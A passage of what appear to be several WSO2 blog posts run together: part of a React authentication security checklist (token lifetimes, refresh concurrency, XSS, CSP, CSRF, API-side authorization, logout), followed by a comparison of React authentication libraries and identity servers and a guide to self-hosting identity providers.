8. Keep access-token lifetimes reasonably short​

If somebody steals a bearer access token, its expiry time puts a natural limit on how long it remains useful.

For that reason, access tokens should normally live for a relatively short period compared with refresh tokens.

There is no universal value such as "15 minutes is correct for every application." The right value depends on the application, API, risk, and how refresh is implemented.

However, if your browser application receives access tokens that remain valid for many hours, I would want to understand why.

Verify: if your access token is a JWT, decode it and compare iat and exp.

If it is an opaque token, check the configured token lifetime at your identity provider.

9. Make sure only one refresh happens at a time​

This is one of the more React-specific problems in the list.

Assume a user leaves the application open for some time and the access token expires.

They return to a dashboard and several components immediately make API calls:

Component A → API → 401
Component B → API → 401
Component C → API → 401
Component D → API → 401

If every API call independently decides to refresh the token, you may suddenly have four refresh requests using the same refresh token.

Now combine this with refresh-token rotation.

The first refresh succeeds and replaces the old refresh token.

The other refresh requests may now be using a token that has already been consumed. Depending on your identity provider's reuse-detection behavior, that can invalidate the session.

From the user's point of view, they were simply logged out for no obvious reason.

The common pattern is to allow only one refresh request at a time. Other API calls wait for the same refresh operation and retry after it completes.

Verify: expire an access token and trigger several API calls simultaneously.

You should see one token refresh, followed by retries of the waiting API requests.

Browser security​

Moving tokens to a safer place reduces what malicious code can steal.

It does not mean malicious code running inside your page becomes harmless.

10. Treat script injection as part of authentication security​

If JavaScript is running inside your application's origin, the browser treats it as part of your application.

If your React code can read a token, malicious code may be able to read it too.

If you move the token into an HttpOnly cookie, the script can no longer directly read the cookie, which is useful.

But the browser still sends that cookie with authenticated requests.

So malicious code may be able to do this:

Injected script
    ↓
POST /account/change-email
    ↓
Browser automatically sends session cookie

The attacker never sees the cookie.

The same principle applies to a BFF. Keeping OAuth tokens completely outside React reduces token theft, but malicious code running inside the page may still use the authenticated backend while the session is active.

This is why token storage and script injection need to be treated as related but separate problems.

Verify: search the application for places where untrusted content can become markup or executable code.

Pay particular attention to: dangerouslySetInnerHTML, eval, dynamic script loading, direct DOM manipulation, and HTML returned from APIs or third parties.

Also run dependency scanning such as npm audit, but do not treat a clean dependency report as proof that the application cannot have an XSS problem.

11. Configure a Content Security Policy​

A Content Security Policy, usually called CSP, is a browser security mechanism that controls which scripts and other resources your page is allowed to execute.

The browser receives the policy in an HTTP response header.

For example, you can restrict scripts to ones that came from sources you explicitly trust.

A well-designed CSP does not replace secure coding, but it adds another layer. Some script-injection bugs that would otherwise become exploitable can be blocked by the browser.

Be careful with broad exceptions such as unsafe-inline and unsafe-eval.

Sometimes an application needs one of them for compatibility, but they should not be added simply because that makes CSP errors disappear.

Verify: inspect your page's HTTP response headers and find Content-Security-Policy.

Check the script-src configuration and test your normal application journeys while watching the browser console for CSP violations.

12. Review dangerouslySetInnerHTML​

React normally escapes values inserted into JSX.

For example:

<div>{comment}</div>

does not simply treat whatever is inside comment as executable HTML.

dangerouslySetInnerHTML deliberately bypasses that protection.

There are legitimate cases where an application needs to render HTML, such as content from a CMS. In those cases, untrusted HTML needs to be sanitized before it reaches the browser.

A maintained sanitizer such as DOMPurify is commonly used for this.

Verify: search the project for dangerouslySetInnerHTML.

For every result, trace where the HTML came from.

Pay particular attention if it originates from user input, URL parameters, API responses containing user-generated content, CMS content, or third-party feeds.

13. If you use cookies, protect against cross-site requests​

If your application uses the backend model described earlier, authentication may rely on a session cookie instead of exposing OAuth tokens to React.

That changes the browser security model.

The browser can automatically attach cookies to requests, which means another website may try to make the user's browser send an authenticated request to your application.

This class of attack is usually called Cross-Site Request Forgery, or CSRF.

Cookie attributes such as Secure, HttpOnly, and SameSite are important.

Secure ensures the cookie is only sent over HTTPS.

HttpOnly prevents normal JavaScript from directly reading it.

SameSite controls when the browser sends the cookie with cross-site requests.

For a BFF-style architecture, SameSite=Strict provides strong protection where your application architecture allows it.

But SameSite should not automatically be treated as your entire CSRF design. Applications spread across subdomains or different origins need more careful handling.

Depending on the architecture, additional protection can include anti-forgery tokens, strict CORS configuration, or requiring a custom request header that another origin cannot send without passing a CORS preflight.

Verify: inspect the Set-Cookie header used for your authenticated session.

Check the values of Secure, HttpOnly, SameSite, Domain, and Path.

Then confirm what actually prevents another website from submitting a state-changing request through the authenticated browser.

Authorization belongs in the API​

React needs authorization information so it can show the right interface.

The final security decision still belongs on the server.

14. Hiding a button is not authorization​

This is normal React code:

{isAdmin && <AdminPanel />}

If the user is not an administrator, there is no reason to show them an administrator button.

That is good UI behavior.

It is not access control.

The user controls their browser. They can modify frontend state, change JavaScript, or simply call your API without opening the React application.

For every sensitive action, the API needs to independently decide whether the authenticated user is allowed to perform it.

Verify: identify your role-based conditional rendering and route guards.

For each sensitive action behind them, find the corresponding authorization check in the API.

15. Do not trust object IDs coming from React​

Assume your profile page calls:

GET /users/42

The user changes that to:

GET /users/43

What happens?

The fact that the caller asked for user 43 does not mean the caller is allowed to see user 43.

The API needs to take the authenticated identity and decide whether that identity can access the requested object.

This problem is not limited to user IDs. It also applies to /orders/1024, /tenants/acme, /documents/239, and /projects/81.

Any identifier coming from the frontend should be treated as a request to access something, not proof that access is allowed.

Verify: log in as one test user and change an object identifier to one belonging to another user.

Do the same for update and delete operations, not only reads.

16. Protected routes protect the UI​

A React application may contain something such as:

<ProtectedRoute>
  <AccountPage />
</ProtectedRoute>

This is useful.

It prevents unauthenticated users from navigating through parts of the interface they cannot use.

But the route guard executes in frontend code.

The API behind that page still needs to reject requests without valid authentication, and it also needs to reject authenticated users who do not have the required permission.

Think of the React route guard as user experience. Think of the API as the actual security boundary.

Verify: choose a protected page and identify the API calls it makes.

Call one API without authentication, and again with a valid user who should not have access.

Both requests should fail at the API.

Logout and sessions​

Authentication design does not end when login succeeds.

Logout is where several assumptions normally become visible.

17. Know what logout actually does​

A simple React logout implementation may look like this:

setUser(null);
localStorage.removeItem("token");

The UI is now logged out.

But there may still be several other things active: a login session at the identity provider, a refresh token, and access tokens that remain valid until expiry.

These are related but separate pieces of state.

Ending the identity-provider session does not automatically mean every access token previously issued becomes unusable immediately.

Similarly, clearing React state does not mean the identity-provider session has ended.

For a proper logout flow, decide what you actually want to terminate.

For some applications, removing the local application session is enough.

For others, logout should also terminate the login session at the identity provider and revoke refresh tokens.

Verify: write down what your logout operation actually does.

Capture an access token, sign out, and test whether that token is still accepted by your API.

Also sign out and then immediately start login again. If the identity provider signs the user in without any interaction, the provider session may still be active.

That may be intended, but it should be something you chose rather than discovered later.

18. Test logout with more than one tab​

Users open multiple tabs.

If the user signs out from one tab, another tab may still show the application as authenticated.

Eventually its API calls may begin failing, but until that happens the UI can remain in a stale state.

React applications can synchronize logout state using mechanisms such as BroadcastChannel, storage events, or SDK-provided session events.

The exact implementation depends on how your authentication state is stored.

Verify: open the application in two tabs.

Sign out in the first tab and watch the second one.

It should respond to the logout instead of continuing indefinitely with stale authentication state.

19. Configure how long sessions can live​

There are two different limits worth considering.

An idle timeout ends the session when the user has been inactive for a period of time.

An absolute timeout ends the session after a maximum amount of time, even if the user remains active.

They solve different problems.

An idle timeout helps with the unattended browser.

An absolute timeout prevents a session from continuing forever simply because activity keeps occurring.

There is no single timeout value that fits every React application. A consumer application and an application handling financial or administrative data may reasonably have very different requirements.

The important part is that these values are deliberate.

Verify: check the session configuration at your identity provider and application.

Also test what happens when a session expires while the user is actively using the application. The result should normally be a clean transition back to authentication rather than a page full of failed API requests.

Before you ship​

There are two more things worth checking even though they are not part of the authentication protocol itself.

Development configuration​

Authentication code tends to accumulate temporary debugging.

For example:

console.log(accessToken);
console.log(user);

That may be useful while developing and something you do not want in production.

Also check for development identity-provider URLs, test tenants, temporary client IDs, authentication bypasses, test users, and verbose SDK logging.

Do not assume your build process removes everything automatically.

Search for them before release.

Dependencies​

Your authentication code runs in the same browser environment as the rest of the application.

A vulnerable or compromised dependency can therefore become part of the authentication threat model as well.

Run dependency scanning as part of CI rather than only when somebody happens to remember.

Tools such as npm audit are useful here.

Automated dependency updates are useful as well, but they still need testing, especially for authentication libraries where a small behavior change can affect login or session handling.

Also delete packages you no longer use.

Keep authentication policy outside React​

Some authentication features should normally be controlled by your identity platform rather than implemented separately inside each React application.

As an example: multi-factor authentication, step-up authentication for sensitive actions, password policies, account recovery, brute-force protection, and authentication based on device or risk signals.

Your React application may need to start or respond to these flows.

It should not need to implement the security mechanism itself.

Assume you later decide that changing a bank account number requires an additional authentication step.

Ideally, you should be able to change that policy at the identity layer without building your own MFA mechanism inside the React application.

This also makes authentication reusable. If you have five applications, the authentication policy remains in one place rather than becoming five separate implementations.

Common problems to check​

Users get logged out occasionally and nobody can reproduce it​

Check whether several failed API requests can start token refresh at the same time.

This becomes particularly important when refresh-token rotation is enabled.

See rules 7 and 9.

We use an HttpOnly cookie, so XSS cannot affect authentication​

An HttpOnly cookie prevents JavaScript from directly reading that cookie.

That is useful, but injected JavaScript may still be able to make authenticated requests because the browser attaches the cookie.

See rules 10 and 13.

Logout works because React clears the user​

That proves the front-end state was cleared.

It does not tell you whether the identity-provider session, refresh token, or existing access tokens were affected.

See rule 17.

Everything works locally but authentication fails in production​

Check the issuer and endpoint configuration, redirect URL, origin configuration, and environment-specific client settings.

See rules 4 and 5.

If you only check four things​

Nineteen items can look like a lot if you already have an application running.

If I had to start with four, I would check these first.

1. Does the OAuth token need to be in React at all? If you already have a backend, consider whether the authentication state can stay there.

2. Can more than one refresh happen at the same time? This is easy to miss and can produce difficult-to-reproduce logout problems.

3. Is authorization enforced by the API? Anything that exists only in React is UI behavior, not the final security decision.

4. What really happens when the user signs out? Check the frontend session, identity-provider session, refresh token, and existing access tokens separately.

After that, work through the remaining items against your own application.

The important part is not whether an SDK documentation page says the feature is supported. It is whether you can verify what your application is actually doing.

What your authentication SDK should handle​

A good React authentication SDK should remove a lot of protocol-level work from your application.

For example, the SDK should normally handle things such as starting the login flow, generating PKCE values, processing the authorization response, validating the authentication result, maintaining authentication state, obtaining access tokens, and performing logout against the identity provider where configured.

It should also give you a clear way to control how browser-side authentication state is stored.

But there is an important boundary here.

An authentication SDK cannot secure everything around authentication.

Your application still owns browser security, including CSP and safe rendering of untrusted content. Your APIs still own authorization. If you use cookie-based sessions or a BFF, your architecture still needs proper CSRF protection. Your application also needs to handle concurrent API calls, expired sessions, multi-tab behavior, and the user experience around authentication failures.

With WSO2 Identity Platform, the React and browser SDKs are intended to handle the OAuth and OpenID Connect mechanics so that application developers do not need to implement these flows directly. The exact behavior depends on the SDK version and configuration, so check the current SDK documentation when deciding things such as storage, token handling, and logout behavior.

The main point is to keep that boundary clear: let the identity platform and SDK handle authentication mechanics, while your React application and APIs remain responsible for the security decisions that belong to them.

Some are libraries that run as part of your application. Some give you a React SDK connected to a managed identity service. Others are complete identity servers that you deploy independently and connect to your React application.

This distinction matters because choosing an authentication library is rarely just about getting a login page working. The choice also determines where your identity layer lives, who operates it, how easily it can be shared across applications and APIs, which protocols you can use later, and how much control you retain as the system grows.

In this post, I will compare 9 options React developers are likely to encounter in 2026:

Better Auth, Auth.js, Clerk, Auth0, Supabase Auth, Keycloak, WSO2 Identity Server, ThunderID, and MSAL React.

A React authentication library can solve login for one application. The harder decision is whether authentication should remain part of that application or become a reusable identity layer shared by everything around it.

What are we comparing?​

The term "authentication library" is used quite loosely.

Better Auth and Auth.js are closest to what developers traditionally mean by a library. You install them into your application and operate the authentication backend as part of your own stack.

Clerk and Auth0 give you React SDKs, but authentication ultimately depends on identity services operated by those vendors.

Supabase Auth sits inside the broader Supabase application platform, although its authentication service can also be self-hosted.

Keycloak, WSO2 Identity Server, and ThunderID are standalone identity servers. The React SDK or OIDC client is only the application-facing part of a larger identity system.

MSAL React is slightly different again. It is a React library specifically for applications authenticating through Microsoft Entra ID.

For a React developer, however, all of them can appear during the same search: "What should I add to my React application for authentication?"

That is the scope I am using here.

Start with where identity will live​

Before comparing hooks, components, or quickstarts, I would first decide where you want identity to live.

For a small application, keeping authentication inside the application stack can be completely reasonable. There is less infrastructure to introduce, and a library can give you the functionality you need without operating a separate identity server.

The question becomes more interesting as the application grows.

Identity usually stops being a concern of one frontend. Multiple applications may need the same users. APIs need tokens. B2B customers may need their own organizations and administrators. Enterprise customers start asking for SAML or OIDC federation and SCIM provisioning. Agents and workloads may also need identities of their own.

At that point, identity increasingly becomes reusable infrastructure rather than application code.

Deployment matters as well.

A managed service removes much of the operational responsibility, but you accept the provider's deployment model, pricing, service boundaries, and commercial terms.

A self-hosted identity server gives you more control, but you are responsible for availability, upgrades, databases, security patches, backup and recovery, certificates, monitoring, and capacity.

These are different architectural choices, even when the React code needed to call signIn() looks very similar.

Here is the high-level comparison.

Better Auth​

Better Auth is a TypeScript authentication framework that runs with your application rather than requiring a separate hosted identity provider. Vercel acquired Better Auth in July 2026, with the project continuing as open source and framework-agnostic software.

For React, Better Auth provides a first-party client and can be used without Next.js. It has also expanded beyond basic login, with support around organizations, enterprise SSO, SCIM, OAuth and OpenID Connect provider functionality, and other authentication capabilities.

The more important distinction is architectural.

Better Auth makes authentication part of your application stack. This can work well when authentication belongs primarily to one application and you want to own the implementation and data rather than depend on a hosted identity service.

The trade-off becomes more visible later.

Once several applications, APIs, services, or organizations need to share the same identity layer, having authentication embedded inside one application architecture can become a constraint. You may eventually want identity to become its own independently operated and reusable component.

This is not necessarily a weakness in Better Auth itself. It is largely a consequence of choosing an application authentication library rather than a standalone identity platform.

Auth.js​

Auth.js, formerly NextAuth.js, has been widely used for authentication in Next.js applications. Maintenance of the project has now moved to the Better Auth team, with existing deployments continuing to receive maintenance while Better Auth is the recommended direction for many new applications.

Auth.js can be used outside Next.js, but its architecture remains closely associated with server-side authentication endpoints.

For a plain client-side React application, you therefore need a backend environment to host those authentication routes rather than treating Auth.js as a completely standalone SPA authentication package.

For an existing Auth.js application, there may be no reason to move simply because another project exists.

For a new plain React application, I would compare the additional backend integration with the alternatives before choosing it.

There is also the same longer-term architectural consideration as Better Auth. Authentication becomes part of your application stack. If identity later needs to be reused across multiple applications, APIs, or services, separating it into an independent identity layer becomes another architecture change you need to make.

Again, that does not make Auth.js a bad authentication library. It means you should understand whether you are solving application authentication or establishing an identity platform that other systems will eventually need to consume.

Clerk​

Clerk is a managed identity service with first-party React tooling. Its React SDK provides hooks together with prebuilt authentication and user-management components, and it also supports capabilities such as Organizations and enterprise SSO.

For a React application, this can reduce the amount of authentication infrastructure you need to build and operate.

The important architectural decision is what sits behind the SDK.

Clerk operates the identity service for you. This removes infrastructure work, but it also means your application's identity layer depends on Clerk's cloud service, pricing model, service boundaries, and feature tiers.

You therefore do not have the same deployment control as you would with an identity system that can also run inside your own infrastructure.

This may not matter for many applications. But if usage grows significantly, commercial terms become part of the architecture decision. The same applies if a future customer requires a deployment model that the service does not provide.

The React integration is therefore only one part of the decision. You are also choosing the cloud identity service behind it.

Auth0​

Auth0 provides a managed identity platform and a dedicated React SDK for single-page applications. It supports OAuth 2.0, OpenID Connect, enterprise federation, Organizations, SCIM, and a broad set of enterprise identity capabilities.

For most teams, Auth0 is consumed as a vendor-operated identity service.

That removes much of the infrastructure work from the application team, but the same general trade-off as Clerk applies: your identity layer depends on the provider's service, pricing model, deployment options, and feature tiers.

One correction is important here. Auth0 can no longer accurately be described simply as cloud-only. Its Enterprise offering includes private deployment options.

However, that remains different from downloading an open-source identity server and independently deciding where and how you want to operate it.

For React itself, the integration is established and straightforward. The more important question is whether the Auth0 service model fits the amount of deployment and commercial control you want over the identity layer.

Supabase Auth​

Supabase Auth is slightly different because authentication is part of the broader Supabase application platform.

The JavaScript SDK works with React and provides the common authentication capabilities expected for applications using Supabase. Supabase Auth can also be used independently and its Auth server can be self-hosted, so it would be incorrect to describe it simply as a cloud-only service.

If your application already uses Supabase and Postgres, keeping authentication within the same platform can remove integration work. Supabase Auth also integrates naturally with the database and Supabase's Row Level Security model.

The limitation appears when authentication starts becoming a broader identity problem.

Supabase Auth is primarily application authentication rather than a full IAM platform designed to become a shared identity layer across many applications, APIs, organizations, enterprise identity providers, administrators, agents, and other identity types.

That distinction may not matter when you are building one application.

But if identity later becomes infrastructure of its own, you may need to introduce a dedicated identity platform and move some of those responsibilities outside the application platform.

So for me, the first question with Supabase Auth is simple: are you choosing authentication for a Supabase application, or are you choosing the long-term identity layer for a broader system?

Those can eventually become two different requirements.

Keycloak​

Keycloak is an Apache 2.0 licensed open-source identity server and has been deployed in production for many years.

For a React application, developers can use the official keycloak-js adapter or a standard OpenID Connect client. The old react-keycloak project that still appears in many tutorials is archived, so it should not be treated as the current React integration path.

Keycloak supports OpenID Connect and SAML together with broader IAM capabilities. Its Organizations model has also continued to develop, and newer releases have added additional organization administration features while SCIM support is being introduced.

The main difference from application libraries is that Keycloak is already a standalone identity layer.

Multiple applications can use the same server, and identity does not need to be embedded into each application's backend architecture.

The trade-off is operations.

Running an identity server in production involves much more than starting the getting-started container. Availability, clustering, databases, upgrades, security patches, certificates, monitoring, backup, and disaster recovery all become your responsibility.

For organizations that already have the platform engineering capability and want an established open-source identity server, that may be an acceptable trade.

For a small application team primarily looking for an authentication library, it can be significantly more infrastructure than the original problem requires.

WSO2 Identity Server​

WSO2 takes a different approach because the identity layer can remain a standalone platform without forcing you into one deployment model.

For self-managed environments, WSO2 Identity Server provides the identity server that you can operate in your own infrastructure, including on-premises, Kubernetes, public cloud, private cloud infrastructure, and environments where direct control of the IAM runtime is required.

At the same time, WSO2 Identity Platform is also available as a multi-tenant SaaS service and as a WSO2-managed private cloud deployment.

This means the initial decision does not have to be "put authentication inside the application" versus "hand identity completely to a SaaS provider."

You can keep identity as an independently reusable platform and choose the operational model that fits the organization.

For a React developer, the application-facing experience still starts with a first-party SDK.

The WSO2 React SDK provides React-specific components and hooks, while Next.js has its own SDK rather than making plain React a secondary use case. This gives developers component-based authentication experiences without requiring every application to build authentication flows directly from OAuth or OpenID Connect primitives.

However, the reason to consider WSO2 Identity Server is not simply that it has a React SDK.

One area is B2B identity.

WSO2 models organizations hierarchically. An organization can contain child organizations, which can themselves contain further organizations, while applications, roles, and users can be managed and shared within that structure.

This matters for B2B SaaS applications where an organization is not simply another attribute attached to a user.

Another area is protocol depth.

WSO2 Identity Server supports OAuth 2.0, OpenID Connect, SAML, SCIM, and more advanced identity and authorization profiles. As application authentication expands into enterprise federation, provisioning, API authorization, delegation, or regulatory interoperability, the identity layer does not have to be replaced simply because the original React application has grown beyond login.

WSO2 has also introduced first-class identity management for AI agents.

Current releases can represent and manage agents independently, including lifecycle, authentication, authorization, ownership, and auditability. Newer releases also support delegated scenarios where agents need to act with authority originating from a human rather than simply receiving a permanently standing credential.

This is another example of why separating the identity layer from the application can matter. Humans, APIs, workloads, organizations, and agents can all eventually need to participate in the same identity architecture.

For a small React application that only needs login, much of this capability may be unnecessary.

But if you expect identity to become infrastructure shared across applications and APIs, or if you need B2B IAM, enterprise federation, self-managed deployment, SaaS, or private cloud without changing the fundamental identity architecture, WSO2 covers a wider deployment range than either application-embedded libraries or SaaS-only approaches.

ThunderID​

ThunderID is the newest identity server in this comparison, and its maturity should be understood in that context.

It is an Apache 2.0 licensed open-source identity stack built in Go. It uses a lightweight runtime and declarative resource configuration and has been designed around newer identity requirements involving humans, machines, workloads, and AI agents.

Its current capabilities include OAuth 2.1 and OpenID Connect, WebAuthn/passkeys, identity provider federation, organizational units and groups, authorization, verifiable credentials, and declarative YAML configuration suitable for GitOps workflows.

Like Keycloak and WSO2 Identity Server, ThunderID keeps identity outside the application.

A React application uses the identity service rather than making authentication part of the React application's own backend architecture. ThunderID also provides a first-party React SDK with components for application integration.

Where ThunderID differs is its design direction.

AI agents are modeled as identities rather than simply being represented as OAuth clients. The model covers registration, credentials, lifecycle, ownership, and delegated authority, allowing an agent to exist and be governed independently from the human, workload, or application that uses it.

ThunderID also puts more emphasis on declarative configuration and GitOps-style operation than traditional IAM products.

There is, however, an important maturity difference.

ThunderID is a much younger project than WSO2 Identity Server or Keycloak. It does not yet have the same production history, ecosystem depth, or operational track record of identity servers that have been deployed for many years.

That should remain part of the evaluation rather than being hidden behind a feature table.

If your requirement is an established enterprise IAM deployment today, maturity may carry more weight.

If you are evaluating an open-source identity foundation for newer architectures, particularly agent identity, workload identity, decentralized identity, post-quantum evolution, or GitOps-managed IAM, ThunderID takes a different architectural direction and is worth evaluating against those requirements.

MSAL React​

MSAL React is Microsoft's React authentication library for applications using Microsoft Entra ID.

This is different from Better Auth or Auth.js in one important way.

The identity system does not live inside your application. Microsoft Entra ID is already the standalone identity service, while MSAL React is the client library your React application uses to interact with it.

The architectural constraint is therefore not that authentication becomes part of your application stack.

The dependency is Microsoft Entra ID itself.

If your users, applications, and identity policies already live in Entra ID, MSAL React is the natural integration and there may be little reason to introduce another identity system.

If you want an identity layer that you can operate independently of Microsoft's cloud and licensing model, MSAL React does not provide that option because the SDK is specifically designed around Entra ID.

So this is less of a general authentication-library decision and more a question of whether Microsoft Entra ID is already the identity platform you have chosen.

Which one should you choose?​

For me, the useful distinction is not the React API. Most of these options can get a user signed in without much difficulty. The more important question is where you want the identity layer behind that React application to live as the system grows.

If authentication is primarily a concern of one application, libraries such as Better Auth or Auth.js can be a good fit. They keep authentication close to the application and give you control over the implementation. The thing to consider is whether identity is likely to remain an application concern. Once several applications, APIs, services, or organizations need the same identity context, separating identity from an individual application becomes increasingly useful.

Managed platforms such as Clerk and Auth0 already give you that standalone identity layer, but it is operated within the provider's service and deployment model. You gain operational simplicity, while accepting the provider's service boundaries, pricing, feature tiers, and deployment options.

Supabase Auth makes particular sense when Supabase is already part of your application architecture. If authentication later needs to become a broader IAM layer independent of that application platform, that is the point where its application-focused model needs to be reconsidered.

Keycloak gives you a standalone open-source identity server and full control over where you run it, but you also take on the operational responsibility of running identity infrastructure yourself.

WSO2 Identity Platform gives you another option. You can keep identity as a standalone reusable layer and choose how you want to operate it: self-managed through WSO2 Identity Server, as SaaS, or through a managed private cloud deployment. The React SDK remains the application-facing integration rather than becoming the identity architecture itself.

ThunderID follows the standalone identity model as well, with a newer architecture built around a lightweight Go runtime, declarative configuration, GitOps, and first-class support for newer identity types such as AI agents. It is also a much younger project, so maturity should remain part of that evaluation.

MSAL React is the more specific case. It makes sense when Microsoft Entra ID is already the identity platform you have chosen.

For a React developer, the login code is usually the easy part. The harder decision is where the identity layer behind it should live as the application grows.

For a single application, keeping authentication inside the application stack can be completely reasonable. A managed service can also be a good choice when you want to avoid operating identity infrastructure yourself. But once multiple applications, APIs, organizations, identity providers, or other identity types need to share the same identity context, authentication starts becoming a broader infrastructure concern.

You do not need to solve that problem on day one. But if you already know those requirements are coming, it is worth making that boundary explicit before choosing the library, because changing the React integration later is usually easier than changing the identity architecture behind it.

The more important questions appear later. Who applies a security update when a vulnerability is disclosed? How are certificates and signing keys rotated? What happens when the deployment is several major versions behind, or the engineer who originally set it up has moved on?

Self-hosting is therefore an operational decision as much as a technology or licensing decision. This guide starts with that operational responsibility, then looks at the available approaches, the open source landscape, and what React teams should consider when choosing and running a self-hosted identity provider.

What self-hosting actually means​

Self-hosting means the identity software runs on infrastructure you control and your team is responsible for operating it.

It does not tell you whether the software is open source, proprietary, or written by your own team. Those are separate decisions.

In practice, there are three main approaches.

Option one: build authentication yourself​

This is usually described as rolling your own auth. Your team owns the user store, password handling, sessions or token issuance, recovery flows, and the application logic around them.

Of course, nobody should implement password hashing or signature verification from scratch. Those functions should come from well-tested libraries. But using libraries does not remove the operational responsibility. Security fixes still need dependency upgrades, testing, and releases. Algorithms can be deprecated, libraries can introduce breaking changes, and security reviews can require changes to implementations that have been running for years.

The same pattern appears when requirements grow.

Assume an audit introduces an MFA requirement. With an identity product, much of this is configuration. With a custom implementation, the team first needs to decide which factors are supported, how enrollment works, how users recover when a device is lost, how administrators handle recovery, and what support processes are required.

Authentication quickly becomes more than login code.

The useful question is therefore not whether the team is capable of building authentication. Most experienced development teams are. The question is whether identity should become something the team owns for the next several years, including its security, compliance, protocol support, and operational lifecycle.

Building authentication internally makes sense when both of the following are true: the team has genuine identity expertise, and there is a requirement existing products cannot meet.

Those cases do exist. A company may itself be building an identity product, operating in an environment where third-party software cannot run, or using an identity model that does not fit available products. Outside those cases, building authentication can be useful for learning, but using the same implementation as a production identity platform is a different decision.

Option two: run open source identity software​

This is what many teams mean when they talk about self-hosted authentication. An open source identity provider is deployed on infrastructure controlled by the organization.

The value of open source here is not only that there may be no software license fee. It also provides access to the source and the freedoms that come with the license.

Security teams can inspect the implementation. Organizations can perform their own security analysis. The software can be modified when a requirement is not available out of the box, and it can be deployed in environments where a public managed service is not possible.

Open source also does not necessarily mean operating without support.

Many open source identity providers have a commercial organization behind them offering production support, tested updates, migration guidance, and support commitments. This creates a useful middle ground between running everything independently and adopting a proprietary identity product.

The organization keeps the open source software and deployment control while deciding separately whether commercial support is required.

Another useful model is an open source identity provider that is also available as a managed service. In this case, self-hosted and SaaS can become deployment choices around the same underlying software rather than completely separate products.

This can simplify future migration, provided the protocol and application integration surfaces remain compatible between the two deployment models.

Option three: run proprietary identity software​

The third approach is commercially licensed identity software running on infrastructure controlled by the organization.

This is common in enterprise environments, particularly where there are regulatory, operational, or support requirements.

The main benefit is accountability. There is a vendor, a support contract, a release process, and an organization responsible for product-level issues. Enterprise capabilities are also more likely to be delivered as part of a supported product rather than assembled from multiple components.

The trade-off is reduced independence.

The complete implementation may not be available for inspection or modification. Upgrade timing follows the vendor's supported release path, and requirements outside the supported extension model depend on what the vendor chooses to provide.

Migration can also be more expensive if applications rely heavily on proprietary integration surfaces rather than standards such as OAuth 2.0, OpenID Connect, SAML, or SCIM.

Wiring a React app to a self-hosted provider​

Once you have selected an identity provider, the next question is how the React application should integrate with it.

There are three common approaches. They are not different authentication models, but different levels of abstraction over the same OpenID Connect flow. The level you choose determines how much of that flow your application needs to manage.

For self-hosted providers, this also affects product choice. Almost every conformant OpenID Connect provider works at the protocol level. A React SDK depends on whether the provider or its community maintains one, and SDKs with ready-made React components are less common.

Level 1: integrate at the protocol level​

At the lowest level, the application integrates directly with OpenID Connect using a general OAuth 2.0 or OpenID Connect client library.

The application handles the authorization redirect, code exchange, token storage, expiry, refresh, logout, and processing of the authentication response. This gives the most control, but also leaves the most responsibility with the development team.

The main advantage is portability. A conformant OpenID Connect provider exposes a discovery document describing its authorization endpoint, token endpoint, signing keys, and supported capabilities. If the integration is built around this standard metadata rather than provider-specific APIs, moving between providers can become largely a configuration change.

This level is useful when portability matters, when every step in the authentication path needs to be reviewed, or when the selected provider does not have a suitable React SDK.

The trade-off is expertise. The team still needs to understand OpenID Connect well enough to handle authentication state, token storage, refresh, and logout correctly.

Level 2: use a headless React SDK​

The second approach is a provider-specific or community-maintained React SDK that handles the OpenID Connect mechanics while leaving the UI to the application.

The SDK typically manages sign-in, token storage, expiry, refresh, and logout, then exposes hooks or utility functions such as:

signIn()
signOut()
isAuthenticated
user

The application still owns the sign-in button, loading state, profile page, errors, and the rest of the authentication UI.

This works well when the application has its own design system but the team does not want to maintain the protocol flow itself.

For self-hosted providers, also check who maintains the SDK. If it is community-maintained, its activity, ownership, release history, and React compatibility become part of the dependency decision.

Level 3: use a React SDK with ready-made components​

The highest level provides both authentication hooks and ready-made React components.

Conceptually, the application may use components such as:

<SignIn />
<UserProfile />
<SignOut />

This provides the fastest route to a working authentication experience, while good SDKs still allow the components to be styled or extended.

The trade-off is tighter coupling. At Level 1, the application mainly depends on OpenID Connect. At Level 2, it depends on the SDK API. At Level 3, provider-specific components also become part of the React component tree.

Most component-based SDKs still expose the lower-level hooks underneath, so individual screens can use custom UI when more control is required.

The open source and self-hosted landscape in 2026​

Six options come up repeatedly when React developers look at open source authentication and self-hosted identity providers.

A useful way to compare them is to look beyond the feature checklist and ask what each project was originally designed to solve. That design centre still shows up in what the product makes easy, what the application team needs to build around it, and how well it fits when requirements grow beyond basic login.

For React developers, there is another important difference: the integration experience. Some providers expose standard OpenID Connect and leave the React integration largely to the application team. Others provide first-party React SDKs, hooks, and reusable components that remove much of the authentication-specific code from the application.

The comparison therefore looks at two things: what the identity platform provides as requirements grow, and how much React-specific integration it provides out of the box.

authentik​

authentik is designed to make running a self-hosted identity provider relatively straightforward. It supports the authentication capabilities most application teams expect and is OpenID Certified.

For React developers, the main limitation is the application integration layer. authentik exposes a standard OpenID Connect interface, but there is no first-party React SDK or reusable React component library. In terms of the integration levels discussed earlier, it effectively stops at Level 1.

That is a real weakness if the team wants authentication to fit naturally into the React development experience. You can still integrate using a general OIDC library, but authentication state, token lifecycle, UI integration, and common components remain things the application team needs to assemble.

Authelia​

Authelia comes from a different starting point. It was originally designed to put authentication in front of applications through a reverse proxy, although it can now also act as an OpenID Connect provider.

For React, this is again primarily a Level 1 integration. The application talks to Authelia using OpenID Connect, but there is no first-party React SDK providing hooks, authentication state management, or reusable components.

This is less of an issue when the goal is mainly SSO for self-hosted applications. It becomes a more visible weakness when authentication is part of the application itself, because more of the React-specific integration remains with the development team.

Keycloak​

Keycloak is an established option in this list, with broad identity capabilities and many years of community and production use.

React applications normally integrate through OpenID Connect and Keycloak's official JavaScript adapter, keycloak-js. The adapter handles much of the browser-side authentication flow and token lifecycle.

The limitation is that the abstraction does not continue into React itself. Keycloak does not provide a first-party React SDK with hooks and reusable authentication components for application developers. Community React integrations exist, but that means taking another dependency in the authentication path rather than using something maintained as part of Keycloak itself.

For React developers, this is a weakness compared with products that provide complete Level 2 and Level 3 support. Keycloak gives you a mature identity platform underneath the application, but more of the React authentication layer and UI remains yours to build.

SuperTokens​

SuperTokens has gained some community traction, particularly among application developers looking for an SDK-led authentication model.

Its official React SDK provides both lower-level authentication APIs and prebuilt authentication UI, covering the Level 2 and Level 3 models described earlier. Authentication state, sessions, token handling, and common UI flows can therefore be handled through the SDK rather than assembled separately by the application team.

The architectural difference is on the server side. The self-hosted SuperTokens model is not equivalent to running a general-purpose OpenID Connect authorization server, particularly when the requirement is to operate one identity provider that serves multiple independent applications and clients through standard OIDC.

